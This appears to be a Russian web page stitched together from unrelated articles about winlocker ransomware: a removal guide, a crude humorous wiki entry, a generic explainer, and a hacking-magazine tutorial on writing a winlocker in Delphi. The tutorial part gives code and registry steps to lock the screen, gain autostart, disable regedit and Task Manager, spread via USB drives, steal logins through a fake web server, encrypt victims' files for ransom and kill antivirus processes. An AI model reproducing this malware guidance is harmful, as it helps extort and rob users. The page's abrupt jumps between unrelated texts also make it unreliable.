Что такое вирус winlocker
Первая программа-вымогатель появилась 22 года назад, в декабре 1989 года. Пользователи получили по почте дискеты с программой, предоставляющей информацию о СПИДе. После установки программы система приводилась в неработоспособное состояние, для восстановление которого, с пользователей вымогали денежные средства.
Первый SMS-блокер был зарегистрирован четыре года назад, 25 октября 2007 года. Вымогатель инсценировал сбой системы (BSOD [Blue Screen Of Dead - синий экран смерти]) и практически полностью блокировал управление операционной системой.
Однозначного ответа на этот вопрос нет, перечислю только наиболее популярные версии:
- был отключен антивирус;
- антивирусные базы были неактуальны, отсюда следует следующий пункт;
- антивирус еще "не знает" конкретно эту модификацию трояна в принципе, или в связи с предыдущим пунктом, и поэтому пропустил ее;
- Вы самостоятельно могли запустить троян под видом какой-либо полезной программы, например, под видом недостающего в системе кодека для воспроизведения видео;
- эксплоит (компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в ПО и применяемые для проведения атаки на вычислительную систему) на каком-нибудь избранном сайте "втюхал" Вам его. И не факт, что это был сайт с порнухой, это мог быть, например, сайт о музыке (сайты взламывают и внедряют вредоносный код, который незаметно установит Вам этот баннер).
Месяцем ранее, я написал статью "Удаление трояна-винлокера (Win32/LockScreen). Завершение сеанса Windows на стадии загрузки личных параметров", о том, как избавиться от троянов-винлокеров. Однако вскоре, появились комментарии о том, что многим не помогает описанный в статье способ. Все это, а также тот факт, что мне накануне принесли компьютер с подобным "неудаляемым" трояном, который действительно не захотел удаляться описанным в статье способом, все это сподвигло меня написать статью, которую Вы сейчас читаете. Да, это несколько другой, т.с. более "продвинутый" тип трояна, который не убрать с помощью действий описанных в предыдущей статье. В рамках этой статьи, мы устраним данный пробел. Но сначала, коротко рассмотрим деструктивные действия подобных типов троянов, эти знания помогут нам в его удалении.
1. Файл C:\Windows\System32\userinit.exe переименовывается в 03014D3F.exe, а может быть и вовсе удален. В последнем случае, нужно взять копии файлов с другой машины или. в прочем, об этом будет написано далее по тексту.
2. На место переименованного или удаленного файла userinit.exe троян размещает свою копию файла. А т.к. userinit.exe всегда грузиться при старте ОС Windows, такие действия обеспечивают ему 99,9% успех в заражении Вашего компьютера.
3. Кроме этого, троян может подменить следующие файлы:
- C:\Windows\System32\dllcache\taskmgr.exe
- C:\Windows\System32\taskmgr.exe
4. Но и этого для него недостаточно, он копирует себя в C:\Documents and Settings\All Users\Application Data\22CC6C32.exe
В C:\Documents and Settings\All Users\Application Data\ возможна еще одна копия этого файла, но уже с другим именем, например, vvvvv6666.exe или yyyy21.exe, или lvFPZ9jtDNX.exe.
Примечание: Обратите внимание на все файлы с подобными странными именами (бессмысленный набор цифр и/или букв), с расширением exe, в папке C:\Documents and Settings\All Users\Application Data\
5. На рабочем столе Вашего профиля возможно появится файл test.exe, который также следует удалить.
6. Для полного счастья, троян прописывается в реестре:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Shell="C:\Documents and Settings\All Users\Application Data\22CC6C32.exe"
После активации Trojan.WinLock.3266 и подобных, работа на компьютере станет невозможной, а за оказание услуги возвращения прежней работоспособности ПК с Вас потребуют внесения денежных средств. Однако, в результате Вы не получите ничего, т.к. я подозреваю, что для кнопочки "Разблокировать" вполне возможно забыли написать какую-либо функцию вообще. Зачем "заморачиваться" и писать обработчик для кнопки Разблокировать, если цель "срубить" бабок, а не предоставить пользователю возможность самостоятельно отключить этот баннер.
Сервисы антивирусных компаний по генерации кодов разблокировки не помогут:
Тем не менее, данное вредоносное ПО легко удалить с помощью загрузочного диска, получив доступ к реестру неактивной копии Windows и системному диску.
ВНИМАНИЕ! Не ищите легких путей, "не видитесь на развод", не платите деньги за вымогательство и шантаж, не спонсируйте жуликов. После оплаты услуги, разблокировки Windows Вы не получите!
План действий:
- Загрузиться с любого диска LiveCD. Как я уже сказал, подойдет любой диск, который способен предоставить доступ к файлам Windows и умеет работать с реестром неактивной копии Windows.
- Получив доступ к файлам Windows, удалить следующие файлы:
- c рабочего стола Вашего профиля test.exe;
- из папки Ваш_системный_диск\Windows\system32\userinit.exe;
- из папки Documents and Settings\All Users\Application Data\22CC6C32.exe
- Найти в папке Ваш_системный_диск\Windows\system32\ файл 03014D3F.exe и переименовать его в userinit.exe.
- Слегка "подшаманить" реестр.
- Перезагрузиться.
- Проверить компьютер на вирусы, и целостность системных файлов.
Искать причину всегда следует с проверки файлов, отвечающих за процесс загрузки операционной системы, а именно, с файла, который ответственен за запуск оболочки Windows.
Файл userinit.exe является частью операционных систем Windows и именно он отвечает за процесс загрузки ОС. На этот файл возложены задачи восстановления сетевых подключений и запуска оболочки. Процесс является критическим для функционирования операционной системы. Попытки его отключить или удалить приведут к невозможности загрузки ОС. Очень вероятно, что у Вас этот файл поврежден или удален (заменен), также возможно, что были изменены некоторые ключи реестра.
Примечание: Обращаю Ваше внимание на то обстоятельство, что данный процесс никогда не виден в диспетчере задач, за исключением нескольких секунд после входа в систему. Присутствие такого процесса в диспетчере задач может означать только одно - компьютер заражен вредоносным ПО.
Так как данный процесс отвечает за загрузку операционной системы, часто вирусописаки и распространители шпионского ПО скрывают свои программы в этом процессе. Например, злонамеренные файлы могут иметь такое же имя, но быть расположены вне директории %SystemRoot%\System32. Другие злонамеренные программы могут использовать похожее имя файла и т.д.
Для устранения всех вышеперечисленных проблем нам потребуется диск, представляющий собой урезанную версию Windows XP, которая загружается с CD. Например, Windows PE Russian Live CD (11.11.2009) (торрент, 1.39 Гб), использование любого другого диска не возбраняется, важно, чтобы он предоставлял доступ к файлам Windows и умел работать с реестром неактивной копии Windows, содержал программу ERD Commander или подобную. Я буду описывать всю процедуру "лечения", на примере вышеназванной версии LiveCD. Скачал ее давным-давно и меня она пока всем устраивает. Советую держать подобные диски всегда под рукой!
1. Запишите скаченный образ на диск (можно на CD-R/RW или DVD-R/RW) любой удобной Вам программой. Формат диска выбирается в зависимости от размера файла-образа. Я записываю iso-образы на диски при помощи программы CDBurnerXP, классная программа, ничего лишнего и пишет без ошибок. Имейте ввиду, что если Вы просто скопируете файл образа на диск, то он не загрузится).
Посредством кнопки Browse. указываете ISO-образ для записи. Из раскрывающегося списка Конечное устройство, выбираете куда писать (по умолчанию привод DVD). Нажимаете кнопку Записать диск.
Понятно, что сделать это нужно заранее, иначе потом будет поздно. На своем компьютере Вы, после активации трояна, записать ничего не сможете и придется просить друзей-знакомых. Поэтому запишите диск сейчас и держите его рядом!
2. В BIOS выбираете загрузку с CD-ROM и загружаете систему с Вашего LiveCD.
Существуют различные версии BIOS с различной организацией меню. Чтобы войти в BIOS нужно после включения компьютера нажать Del, F2, F8, F10, F6 или Ins. После входа в BIOS нужно найти раздел под названием Boot Device Priority или созвучный, или, как у меня на скриншотах ниже и выбрать первичным устройством оптический привод (или USB-устройство), с которого Вы планируете загружаться. После выбора нужно выйти, сохранив внесенные изменения, как правило, клавишей F10, F11, или выбрав пункт меню Save & Exit Setup или, что-то типа того.
Приведу пример подобной настройки для Award BIOS на одном из своих компьютеров.
Сразу после включения компьютера, Вам подскажут какую кнопку нужно нажать для того, чтобы попасть в BIOS Setup. Однако, прочитать и нажать требуемую кнопку нужно быстро, иначе придется повторно перезагружаться.
A long time ago, in a galaxy far, far away. События и явления, описанные в этой статье, были давно, и помнит о них разве что пара-другая олдфагов. Но Анонимус не забывает! |
Винлок (англ. Winlock ) — троян-вымогатель, актуальная беда рядовых юзеров и прочих нубов, начиная с конца 2007 года. С 2012 года винлок был заменён на трояны-шифровальщики. Для большинства возникает ВНЕЗАПНО и самостоятельно очень сложно выводится — большинство винлоков имеют довольно хорошую защиту от дурака, да и, собственно, недалёкость реципиента и есть основа прибыли создателей этой подставы.
Содержание
[править] Что это?
Внешне выглядит как окошко, в котором вам пытаются втюхать какую-то фигню и заставить вас отправить СМС (недешевое, разумеется), дабы разблокировать ваш комп. После отправки, якобы, придёт код активации, или же будет напечатан на чеке qiwi, который разблокирует комп.
Винлок развивался долго:
Также можно в программу, которая обновляет Биос, засунуть трояна (троян тоже является обычной программой, но вредоносной), который всё и заблокирует. Если идиот скачает программу для обновления Биос чёрт знает откуда.
- Следующей ступенью развития заразы стал CryptLock (он же SMSLock, Cryzip, PGPlock). После внедрения криптлок шифрует все содержимое на всех дисках, и сетевых тоже (если разрешена запись в файлы), кроме exe, dll и т. д., после чего вывешивает уже всем знакомое окошко с требованием отправить смс на номер для получения пароля дешифровки. От прочих пионерских поделок отличался особой трудностью в истреблении (пароль дешифровки представлял собой длинную мешанину из букв разного регистра и символов) и лечился только подсовыванием серверу фейковой команды подтверждения оплаты; в наше время его знает большинство солидных антивирусов.
- Нынешние трояны-шифровальщики совсем охуели, и используют ассиметричное шифрование, а закрытый ключ находится у мудаков-вымогателей. И можно было бы перехватить этот ключ, когда троян отправляет ключ на сервер мудаков-вымогателей, но он передаётся в зашифрованном виде, и хуй ты там что перехватишь. Всё это не оставляет никакого шанса для расшифровки. К счастью, ублюдки-вымогатели соображают, что дешифратор надо высылать, и часто его высылают за охуенные бабки.
- Дальнейший шаг — закрытый ключ для шифрования файлов генерируется на машине жертвы, и сохраняется на ней зашифрованным через открытый ключ вымогателей. После оплаты, вымогатели расшифровывают этот закрытый ключ жертвы у себя. Таким образом, основной закрытый ключ вымогателей вообще не передаётся по сети.
- Следующий этап — червь-шифровальщик под названием WannaCry/WCry/WanaCrypt0r 2.0. Использует дыру в маздае, от пользователя телодвижений не требует, запускается самостоятельно. Сканирует 139-й и 445-й порты, если они открыты и не стоит обновление — атакует. За один день поразил over9000 компьютеров. Также ставит руткит (чтобы мало не показалось).
- Некоторые кулхацкеры додумались всунуть в MBRLocker шифровальшик (Trojan.Ransom.Petya). Но оказалось, что у создателей трояна последняя стадия рукожопости, и поэтому Петя расшифровать твой прон не сможет, а с последующими версиями его удаляет.
[править] Где скачать?
Существует распространённое заблуждение, что эта напасть касается только пользователей Windows XP, и что юзеры Висты, Семёрки или Макоси могут спать спокойно. Разумеется, это типичный нубский миф. Не менее года существуют и активно приносят доход ушлым людям версии под Seven и Макось. И даже самая залатанная контрацепция, в конечном итоге, не спасает безликие массы Анонимусов от простуды в виде винлока.
Также, чтобы найти троян-шифровальщик, достаточно открывать вложения в спаме.
Пользователи линупса: просто двиньте вперёд, эта статья не для вас и не про вас.
[править] Как это работает?
Работает это элементарно: после скачивания винлок запускается и прописывает себя в AutoRun (Автозагрузку), (см. ниже про борьбу с напастью, вкратце: запущенный из-под ограниченной учётки винлок не сможет прописать себя в авторан куста HKLM, а только в пользовательский куст HKCU — почистить же пользовательский куст труда не составляет). Соответственно, после перезагрузки (а в последних версиях — прямо тут же), пользователь увидит перед собой этот баннер. Выключить его почти невозможно — он блокирует заветные сочетания Ctrl+Alt+Del (начиная с Висты, это сочетание обрабатывается ядром системы), Alt+F4, Winkey+R, а также завершает эксплорер путём подмены пути к нему в реестре на файл вируса. Последнее поколение винлоков вылезает даже в безопасном режиме, поэтому их удаление ещё более затруднено. Также, они могут представлять собой DLL-библиотеку, которая будет генерировать случайный exe-файл с этим самым винлоком.
Естественно, незнающий чайник с выпученными глазами побежит оплачивать выписанный счёт (теряя кучу денег), либо начнет звонить в Скорую компьютерную помощь (и опять-таки лишится пары тысяч деревянных), либо прибежит к знакомому компьютерщику (придётся потратиться на пузырь водки), причём бегать начнет сразу же — ибо дедлайн в 24 (2, 3, 5, 12) часа, написанный на баннере, после чего все файлы с компа пропадут. Но изначально винлоки ориентированы на офисный планктон, так как вылезшее на весь экран (гей-)порно (в особо коварных модификациях винлок скачивает (гей-)порноролик, запускает, делает скриншот экрана и ставит обоями) вызывает тонны лулзов у коллег и ненужные вопросы у начальства — хомячок сделает все что угодно, чтобы убрать эту мерзопакость с экрана.
Само собой, никто не гарантирует, что после отправки заветного СМС придет не менее заветный код. Но тем не менее, иногда-таки приходит, и некоторые винлоки имеют систему самоудаления с компьютера с подчищением всех хвостов. Кстати, хоть про удаление всех данных винлоки и привирают для убыстрения работы хомячкова нервного ганглия, однако зашифровать содержимое ФС вполне себе способны.
Путём многочасовой половой ебли на заражённых машинах выяснено, что некоторые модификации winlock’а прописывают значения, используя символы (буквы) из разных алфавитов! Пример: C:\WINDOWS\system32\usеrinit.exe, значение \usеrinit.exe написано с использованием православной кириллической Е. Посему, оптимальное решение — перезаписать ручками значения важных параметров! Однако новая версия антивируса Данилова (возможно, и другие антивирусы) полностью блокирует данные кусты реестра от редактирования (как пользователем, так и вирусами), конечно, если юзверь выставит соответствующие галки в настройках, которые по-обыкновению спрятаны в самые далёкие ебеня. После перезагрузки и входа в систему трояна можно удалить вручную по уже известному пути. Этот способ хоть и эффективен, но подходит только для опытных пользователей.
Обнаружено, что последние и самые совершенные модификации винлока действуют немного по-другому. Можно попасть на вирус, который НЕ меняет пути в реестре, а модифицирует непосредственно файлы explorer.exe и/или userinit.exe. Считается, что надо загрузить РЕ-систему типа ERD Commander или Alkid Live CD, найти у друга/подруги/кошки/соседа оригинальные файлы виндуза, снять с них хэш MD5, снять хэш со своих файлов (если манипуляции с реестром не принесли успеха). При несовпадении хэша есть смысл свои родные заменить на скопированные и принесенные от друга/подруги/кошки/соседа файлы. Опять же, не проверялось, есть ли разница в хеш-суммах при разных вариантах виндуза (наличие сервис паков, обновлений и т. д.). При наличии диска с дистрибутивом винды делаем команду sfc /scannow . Другого способа, кажется, больше нет. Впрочем, остаётся ещё незабвенная переустановка винды.
[править] Как лечить?
Итак, %username%, внезапно ты включил комп и точно также внезапно узнал, что оказывается, ты смотришь гей-порнуху и теперь за это должен. Что делать? Знай: удалить винлок можно. Есть даже несколько разных способов на выбор.
[править] Профилактика
Чтобы раз и навсегда забыть про веселый баннер или по крайней мере свести шансы его появления к минимуму, нужно соблюдать простые правила:
Доктор веб тоже это умеет (превентивная защита). Также у Доктор веба есть охуенная защита от потери данных.
Плохая новость — ебаный шифровальщик, используя новый алгоритм, может обойти защиту (алгоритмы для обнаружения шифровальщиков, заложенные в HIPS), крутые антивирусы ничего не заметят и все файлы будут зашифрованы. Но если стоял Доктор веб, и была включена Защита от потери данных — все файлы будут восстановлены.
[править] Винлокер и спермерка
Прописывание винлокера в кусте реестра HKLM на Win 7 не принесет результата, так как shell грузится из локальной записи пользователя. Для тех, у кого семерка не starter и есть возможность создания второго пользователя, можно заблаговременно сделать второго админа и при подхвате заразы просто зайти под ним и вычистить комп или удалить зараженного пользователя вместе с его файлами и создать еще одного. Этот способ работает и на хрюше, так как в последнее время быдлокодеры перешли исключительно на прописывание запуска только в профайле, а не в общем HKLM-кусте.
Одним из самых знакомых для рядовых пользователей вирусом является винлокер. Его особенность - ориентированность на операционную систему Windows. При заражении на экране компьютера будет висеть большое окно или баннер, содержание которого может разниться, однако суть сводится к одному - получить деньги от юзера. О том, что такое винлокер и что делать при столкновении с ним, будет рассказано в этой статье.
История
Первые случаи заражения этим вирусом стали фиксироваться в 2007 году. Однако уже к 2012 г. его заменили на более совершенные трояны-шифровальщики. Избавиться от него рядовому пользователю довольно сложно, поскольку для этого потребуются специализированные знания.
Со стороны винлокер имеет форму окна, в котором предлагается получить услугу (скачать файл, программу, прочитать статью), просто отправив СМС на указанный номер (за это также взимаются средства). После отправки пользователь якобы получит код активации, который снимет блокировку с компьютера.
Стадии развития
Изначально под определением, что такое винлокер, подразумевался троян, заменяющий хост-файл и закрывающий доступ для его дальнейшего редактирования. Это приводило к тому, что при попытке посещения определенного сайта происходил автоматический переход на фейковую страницу, созданную автором вируса. По итогу у пользователя блокировался рабочий стол, на который выводился баннер с изображением шутливого содержания. О том, как сделать винлокер подобного рода, может знать любой начинающий хакер - в силу простоты процедуры.
После этого появились баннеры с неприличным содержимым, которые закреплялись в браузере и более ни на что не влияли.
Вскоре этот способ развился, и баннер смог закрывать рабочий стол и диспетчер задач. Как правило, проблему легко решали опытные пользователи.
Последние версии винлокеров запускаются до загрузки самой системы, тем самым не оставляя обычным пользователям шанса справиться с проблемой.
Скачать винлокер билдер достаточно просто. Обычно для этого достаточно посетить несколько страниц в Интернете, которые содержат различные файлы и программы для бесплатного скачивания. В некоторых случаях достаточно просто щелкнуть по случайному баннеру, чтобы спровоцировать загрузку этого вируса и его установку.
Как работает
Принцип работы довольно прост, и ознакомление с ним поможет узнать, что такое винлокер. После загрузки он автоматически запустится и пропишется в автозагрузке. После перезагрузки баннер появится на рабочем столе. Выключение его стандартными средствами невозможно, так как привычные комбинации клавиш блокируются. Последние версии угрозы могут заразить систему даже при работе в безопасном режиме. При попытке отправить СМС на указанный номер шанс получить код очень низок. Вариантов винлокеров, которые самоуничтожаются после ввода полученного кода, достаточно мало. Для неопытных пользователей лучшим решением станет обращение за сторонней помощью. При этом всегда может помочь переустановка системы (если навыки позволяют это сделать).
Профилактика
Чтобы свести к минимуму шансы на заражение подобным вирусом, следует выполнять некоторые простые правила:
- Работать в системе в учетной записи с ограниченными правами.
- Для учетной записи администратора установить сложный пароль.
- Иметь в наличии носитель, с которого при необходимости можно переустановить систему.
- Создавать точки восстановления как минимум раз в месяц.
- Открывать подозрительные файлы в виртуальной машине (VirtualBox).
- Сделать резервную копию на внешнее устройство.
Описанная угроза является довольно опасной, и самостоятельное избавление от нее, даже если вы знаете, что такое винлокер, практически невозможно. Следует учитывать все описанные выше правила поведения, чтобы не столкнуться с данной угрозой, а также установить антивирус, так как большая часть из них помогает бороться с опасностью, просто не давая ей изменять системные файлы.
Не секрет, что многие пользователи настолько далеки от информационных технологий, что допускать их к работе за таким сложным устройством, как ЭВМ, чревато. Но как организовать ограничение доступа к ПК? Ведь включить компьютер нынче может любой, у кого хотя бы на 10% руки растут из плеч. К счастью, существует целый класс программ, помогающий ограничить пользователю доступ к различным компонентам операционной системы: от простого запрета играть в Косынку или Сапера, до полной блокировки Windows.
Как происходит заражение?
Однако не все пользователи соглашаются на добровольную блокировку своей системы (хочу сконцентрировать твое внимание на том факте, что в этой статье мы не станем рассматривать создание вредоносного ПО). Так вот, нередко подобный софт доставляется на их машины в виде вируса. Способов заразить жертву чрезвычайно много. Среди них наибольшей популярностью пользуются:
1. БАГИ БРАУЗЕРОВ. Ни для кого не секрет, что одна из целей современного вирусописателя — браузер пользователя. Полезных web-сервисов пруд пруди, и пользователи, конечно же, ими пользуются. Для многих браузер — самая часто используемая программа, которая очень редко закрывается (у меня так вообще не закрывается).
2. FLASH. В последние месяцы компания Adobe регулярно лажает. Не успеют они выпустить новую версию flash-плеера, как хакеры умудряются обнаружить в нем критическую уязвимость. Находят, тыкают разработчиков носом, а те не спешат их исправлять.
Глупо полагать, что в это же время вирмейкеры будут тихо сидеть на пятой точке и ждать, когда же залатают багу. Они постоянно пытаются использовать в корыстных целях свежую уязвимость и выжать из нее максимальную выгоду. В результате получается, что после просмотра тобой забавного ролика система начинает вести себя странно.
На чем будем кодить?
Основа любого Winlocker’а
Модификация сводится к банальной обработке сообщения WM_SYSCOMMAND. Если быть еще точнее, то в процедуре обработки полученных сообщений нужно всего лишь объявить проверку на сообщение WM_SYSCOMMAND. Самое смешное, что в обработке этого сообщения можно вообще не писать код — форма и так перестанет реагировать на события внешней среды.
Автостарт
Вирус должен загружаться вместе с операционной системой. Существует несколько способов обеспечить своей программе автозагрузку. Условно их можно разделить на две группы: простые и продвинутые. На рассмотрение продвинутых не хватит места в статье, поэтому рассмотрим лишь простые, основанные на использовании реестра. Итак, в реестре есть несколько уголков автостарта:
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run — отсюда стартуют программы, запускаемые при входе в систему любого юзера.
- HKCU\Software\Microsoft\Windows\Current\Version\Run — место, аналогично предыдущему, за исключением того, что отсюда грузятся программы текущего пользователя.
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices — список программ, запускаемых до входа пользователей в систему.
- HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\ Run — этот раздел реестра отвечает за старт программ, добавленных в автозагрузку через групповые политики.
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows — еще одно место, содержащее список программ, загружаемых вместе с Windows.
- KHLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon — в этой ветке указывается ссылка на винлогон, но ничто не мешает указать и путь до своей программы.
- Папка автозагрузки. Пожалуй, самый примитивный способ, но тем не менее, многие вирусописатели им пользуются.
Какое из предложенных мест автозагрузки выбрать для своего творения? Точного ответа нет, но крайне не рекомендуется ставить все на какой-то один их предложенных вариантов. Куда лучше использовать комбинацию, то есть прописываться сразу в несколько мест. Пример записи в автозагрузку на WinAPI приведен во второй врезке.
И тебя заблокируем, и меня заблокируем!
Например, ты запросто можешь назначить программу, которая будет запускаться после загрузки системы или заблокировать старт определенного приложения. Практически все операции, которые выполняются через эту оснастку, изменяют определенные ключи реестра. Если ты умудришься разузнать, какие именно ключи реестра модифицируются, то без проблем сможешь изменять их прямо из своей программы. Как это сделать? Существует два варианта: применить метод научного тыка, или воспользоваться утилитой ProcessMonitor от Марка Руссиновича. Второй способе явно круче, поэтому советуем скачать утилиту и приступить к исследованиям.
Редактор реестра
Большинство пользователей привыкли редактировать реестр с помощью встроенного в Windows редактора реестра regedit. Поскольку наш вирус будет вносить изменения в реестр, нам необходимо не допустить ковыряний в реестре со стороны нерадивого пользователя. Нечего ему совать свой любопытный нос куда не следует. Решить эту задачу проще всего путем блокировки запуска редактора реестра. Чтобы выполнить блокировку, достаточно создать ключ DisableRegistryTools со значением 1 в ветке HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System .
Диспетчер задач
Все без исключения винлокеры, которые я видел, блокировали запуск диспетчера задач. Что ж, не станем от них отставать. Реализуется эта фича созданием ключа DisableTaskMgr (тип dword) со значением 1 в той же самой ветке, где и DisableRegistryTools.
Установка и удаление программ
Блокируем доступ к дискам
Чтобы полностью испортить пользователю настроение, можно вообще заблокировать доступ к присутствующим в системе дискам . Пусть юзер даже не пытается запустить антивирус со своей флешки! Реализуем этот трик путем создания ключа NoViewOnDrive (dword) в разделе HKEY_LOCAL_MACHINE\ Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. В качестве значения для ключа указываем битовою маску блокируемого диска. Например, для диска C это будет 4. В случае, если требуется заблокировать несколько дисков, то их маски придется сложить. Например, значение 12 будет соответствовать блокировке дисков C (4) и D (8).
Фишка №1: в любом месте веселее вместе
Заразил компьютер бедного пользователя? Не забудь позаботиться о его друзьях! Помни, чем шире распространится вирус, тем больше шансов получить деньги. Обосновавшись на вражеской машине, нужно не терять времени зря, а пытаться найти новый плацдарм. Как это сделать? Один из простых и самых действенных способов — мониторинг и заражение флешек. Поскольку пользователи постоянно пользуются флешками, нашему вирусу будет легко мигрировать из одной системы в другую. Определить факт подключения флешки легко. Достаточно написать код, обрабатывающий событие WM_DEVICECHANGE.
В коде из третьей врезки я использовал константы и структуры, описания которых нет в модулях, поставляемых вместе с Delphi. Их придется описывать самостоятельно. Я всю информацию брал с MSDN, но ты можешь не париться, а сразу взять исходник моего кода на DVD.
Фишка №2: ваши пассы будут наши!
Рассматривать правку файла hosts не будем, лучше сразу взглянем на то, как с помощью Delphi поднять свой WEB-сервер. Если ты постоянный читатель нашего журнала, то должен хорошо ориентироваться в Winsock API. В свое время в рубрике Кодинг проскакивали статьи про написание всевозможных клиентов (FTP, PROXY, IRC и т.д.) с использованием лишь api-функции. Рекомендую тебе поднять подшивку и хорошенько ознакомиться с сабжевой темой (масло масляное — прим. ред.).
Теперь, вместо одноклассников.ру, жертва попадет не на настоящий сайт популярной социальной сети, а прямо в лапы нашего evil-сервера. Само собой, web-сервер должен быть вежливым и отобразить реальную страницу одноклассников (читай — скам сайта, его нужно заранее подготовить). Ну а дальше все просто: юзер вбивает свои данные для входа, после чего наш web-сервер их сохраняет. Чтобы откровенно не палиться, желательно сделать редирект на страницу с предупреждением о том, что сайт в данный момент закрыт на профилактические работы. Или, как вариант — сохранив, форвардить введенные данные на реальные одноклассники.
Фишка №3: экстази для пользователя
Как зло-программеры стимулируют пользователя на расставание с кровными платными SMS? По-разному. Например, шифруя ценные для него файлы. На какие файлы обращать внимание? Лучше всего на те, от которых может зависеть работа/учеба жертвы, например: документы (doc, xls, mdb, ppt, txt), изображения (jpeg, png, bmp), исходные тексты (php, pas, c, h, cpp, dpr, py и т.д.). Если жертва писала дипломную работу или какой-нибудь сверхважный отчет, который завтра сдавать, то у злоумышленника есть все шансы получить денежное вознаграждение.
Теперь поговорим о технической реализации этой штуки. Поиск файлов осуществляется с функциями FindFirs() и FindNext() из модуля Sysutils. Работать с ними легко, но простота такого фастфуда отрицательно отразится на фигуре нашего приложения. Поскольку набирать лишний вес нам ни к чему, мы воспользуемся более диетическими продуктами: FindFirstFile() и FindNextFile(). Работать с ними чуть сложнее (см. пример поиска файлов на диске), но красота требует жертв.
Полный текст этих функций, а также примеры их использования ты найдешь на нашем диске.
Фишка №4: размножайся!
Фишка №5: играй в прятки по максимуму
Как показала практика, авторы Winlocker’ов не сильно заботятся о безопасности своих детищ. Защита большинства представителей этой группы вирусов, попадавшихся мне на глаза, сводилась к банальному присвоению неприметного имени файла. Например: system.exe, user32.exe, csrss.exe, eplorer.exe и так далее. Я не думал, что подобные способы еще катят, но как выяснилось, я заблуждался.
Рекомендую тебе не пренебрегать безопасностью, а предусмотреть несколько разных алгоритмов:
- Давай файлу вируса неприметное имя. Хоть это и примитивное правило, но соблюдать его крайне желательно.
- Удали вирус из списка процессов. Этого можно добиться, разобравшись с перехватом API функций. Мы уже много раз писали про перехват API. Обязательно перечитай эти статьи!
- Используй несколько способов автозагрузки.
Фишка №6: убить на старте
Не поленись и напиши процедуру принудительного завершения процессов. Она обязательно поможет тебе уберечь свое детище от злобных антивирусов, которые пользователь будет пытаться запустить. В идеале вообще организовать перехват функций, использующихся для запуска программ, и не допускать, чтобы они нормально работали.
Work complete
Написать WinLocker и срубить на нем несколько сотен баксов — более чем реально. Пользователи по-прежнему не думают о безопасности и при возникновении щепетильной ситуации готовы отправить заветную смс’ку, нежели напрягать свои извилины. Я показал тебе самый примитивный скелет Winlocker’a. В принципе, довести его до боевого состояния — дело нескольких часов. Только нужно ли это делать? Выбор за тобой! Главное не забывай о том, что написание и распространение вирусов — уголовнонаказуемое деяние, за которое можно словить реальный срок. Само собой, исходник полноценного вируса я не дам. Нет, не потому что я жадный. Эти вирусы и так всех достали, поэтому я чертовски не хочу, чтобы после этой статьи их стало еще больше. Вдобавок, мне не хочется читать новости про то, как правоохранительными органами были задержаны очередные создатели ужасных вирусов :).
Самопальный web-сервер
var
_buff: array [0..1024] of char;
_request:string;
_temp: string;
_path: string;
_FileStream : TFileStream;
begin
Recv(_client, _buff, 1024, 0);
_request:=string(_buff);
_path := GetFilePath (Copy
(_request, 1, pos(#13, _request)));
_path := ReplaceSlash(_path);
if ((_path = '') or (_path = '\')) Then
_path := DocumentRoot + '\' + DirectoryIndex;
< else
if ((_path[length(_path)] ='\')) Then
_path := DocumentRoot + '\' +
DirectoryIndex; >
if (FileExists(_Path)) Then
begin
_FileStream :=
TFileStream.Create(_Path, fmOpenRead);
SendStr(_Client, 'HTTP/1.0 200 OK');
SendStr(_Client, 'Server: xSrV');
SendStr(_Client, 'Content-Length:' +
IntToStr(_FileStream.Size));
SendStr(_Client, 'Content-Type: '
+ GetTypeContent(_Path));
SendStr(_Client, 'Connection: close');
SendStr(_Client, '');
SendFile(_Client, _FileStream);
_FileStream.Free;
End
//Вырезано
С помощью реестра реально определить список одобренных для запуска программ. Если этот список задан, то пользователь не сможет запустить приложения, которых в нем нет. Список одобренных к запуску приложений задается здесь: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Policies\Explorer\ RistrictRun. Создав этом разделе ключи (тип REG_SZ) для каждой разрешенной программе, тебе нужно будет подняться на один уровень выше и добавить параметр RestrictRun типа dword со значением 1.
Вырубаем службы
А что еще нам надо?
Мониторим флешки
var
disk:DWORD;
begin
case Msg.WParam of
DBT_DEVICEARRIVAL: //Если подключили флешку
if (PDEV_BROADCAST_HDR(Msg.LParam)^
.dbch_devicetype = DBT_DEVTYP_VOLUME) then
begin
//Пытаемся определить букву диска
disk := PDEV_BROADAST_VOLUME(Msg.LParam" ")^
.dbcv_unitmask;
//Выполняем свой зловредный код
end;
DBT_DEVICEREMOVECOMPLETE: //Если флешку извлекли
if (PDEV_BROADCAST_HDR(Msg.LParam)^
.dbch_devicetype = DBT_DEVTYP_VOLUME) then
begin
//Флешку отмонтировали
end;
wc.cbSize:=sizeof(wc);
wc.style:=cs_hredraw or cs_vredraw;
wc.lpfnWndProc:=@WindowProc;
wc.cbClsExtra:=0;
wc.cbWndExtra:=0;
wc.hInstance:=HInstance;
wc.hIcon:=LoadIcon(0,idi_application);
wc.hCursor:=LoadCursor(0,idc_arrow);
wc.hbrBackground:=COLOR_BTNFACE+1;
wc.lpszMenuName:=nil;
wc.lpszClassName:=’win_main’;
RegisterClassEx(wc);
leftPos:=20;
topPos:=0;
windowWidth:=Screen.Width;
WindowHeight:=Screen.Height;
MainWnd:=CreateWindowEx(
0,
‘win_main’,
‘test’,
ws_overlappedwindow,
leftPos,
topPos,
windowWidth,
windowHeight,
0,
0,
Hinstance,
nil
);
SetWindowLong(MainWnd, GWL_HWNDPARENT,
GetDesktopWindow);
SetWindowPos(MainWnd, HWND_TOPMOST,
0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE);
ShowWindow(MainWnd, CmdShow);
While GetMessage(Mesg,0,0,0) do
begin
TranslateMessage(Mesg);
DispatchMessage(Mesg);
end;
var
Key: HKey;
begin
//Сюда можешь подставить один из путей
автозагрузки.
RegOpenKey(HKEY_LOCAL_MACHINE,
PChar(‘’), Key);
RegSetValueEx(Key,PChar(paramstr(0)),
0, REG_SZ,
pchar(paramstr(0)),
lstrlen(pchar(paramstr(0)))+1);
RegCloseKey(Key);
end;
Читайте также: